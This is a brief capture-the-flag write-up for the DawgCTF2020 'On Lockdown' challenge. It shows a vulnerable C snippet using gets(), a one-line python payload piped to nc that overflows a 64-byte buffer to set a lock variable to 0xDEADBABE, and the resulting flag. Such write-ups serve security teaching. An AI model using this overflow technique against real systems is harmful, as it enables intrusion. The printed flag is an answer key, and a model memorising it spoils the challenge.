Rating:
# On Lockdown | DawgCTF2020
## Problem
Better than locked up I guess
nc ctf.umbccd.io 4500
I made this really cool flag but Governor Hogan put it on lockdown
Can you convince him to give it to you?
## Solution
1. Review code the code in onlockdown.c
2. Notice it's using gets, with buf and lock initialized together:
```c
int lock = 0;
char buf[64];
```
3. Buffer overflow to change the lock value. Can be done in pwntools, or just via the following, which was what I did:
```bash
$ python -c "print('a' * 64 + '\xBE\xBA\xAD\xDE')" | nc ctf.umbccd.io 4500
```
This gives the flag.
DawgCTF{s3ri0u$ly_st@y_h0m3}